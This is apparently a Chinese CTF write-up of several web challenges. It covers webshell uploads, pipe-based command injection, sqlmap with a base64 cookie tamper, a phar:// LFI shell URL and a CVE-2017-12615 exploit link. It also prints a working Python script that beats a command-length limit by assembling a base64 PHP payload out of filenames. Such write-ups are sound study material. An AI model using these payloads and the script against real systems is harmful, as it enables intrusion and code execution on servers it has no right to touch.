浏览器禁用 js 上传一句话,在 www 目录下有 key
使用 | 可以执行其他命令,在 ../ 目录下有 key.php
cat 一下读出来
一开始随便输了个账号的时候不是这个页面,抓包也没看着 cookie?,后来 admin/admin 去访问了一下成了这样的
抓包,保存下来,cookie 是 base64 编码的,--tamper base64encode.py 试一下,sqlmap 成功跑出来
sqlmap 一把唆
查看源代码有个 lfi.txt,访问一下
把 shell.php 压缩成 zip,然后后缀改成 txt(这个是提前 ls 看过然后又加上的,一开始传一句话不行,尝试在服务器上反弹 shell 也不行,只能一点一点试)
上传之后给了个路径
访问
http://e79db2ea.yunyansec.com/lfi.php?file=phar://files/jY5jwv7OYI73sMEq.txt/shell
查看源代码得到 flag
exp 一把唆
https://github.com/RealBearcat/CVE-2017-12615
题目给了源码,命令执行有长度限制
直接放脚本,改自:
https://xz.aliyun.com/t/2748
#encoding:utf-8
import requests
baseurl = "http://4be92bc9.yunyansec.com/?1="
s = requests.session()
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>0",
"ls>>_"
]
list2=[
">hp",
">3.p\\",
">d\>\\",
">\ -\\",
">e64\\",
">bas\\",
">\|\\",
">z4=\\",
">k7P\\",
">5Ii\\",
">a2V\\",
">3cv\\",
">93d\\",
">hci\\",
">L3Z\\",
">XQg\\",
">JjY\\",
">tKC\\",
">dGV\\",
">3lz\\",
">Agc\\",
">waH\\",
">PD9\\",
">o\ \\",
">ech\\"
]
for i in list:
url = baseurl+str(i)
s.get(url)
for j in list2:
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh 0")
那一块长的 base64 是
一句话没成功,让他直接打印出来把
最后,可能是题比较简单吧,为数不多的能在吃完午饭后再打开题看看的比赛,还就是下午做的那俩题冲进了前 50 哈哈哈哈
文件上传跟 sql 注入,这俩类型的感觉总是做不出来
感觉应该整理一下思路,按照顺序一路测下去,而不是随便想起哪一个试哪一个,不然很容易放弃掉(因为测一会就不知道要用那种方法了)
还有这个分数,为啥排在前面的“小猫咪踩灯泡”比“分析代码获得flag”都高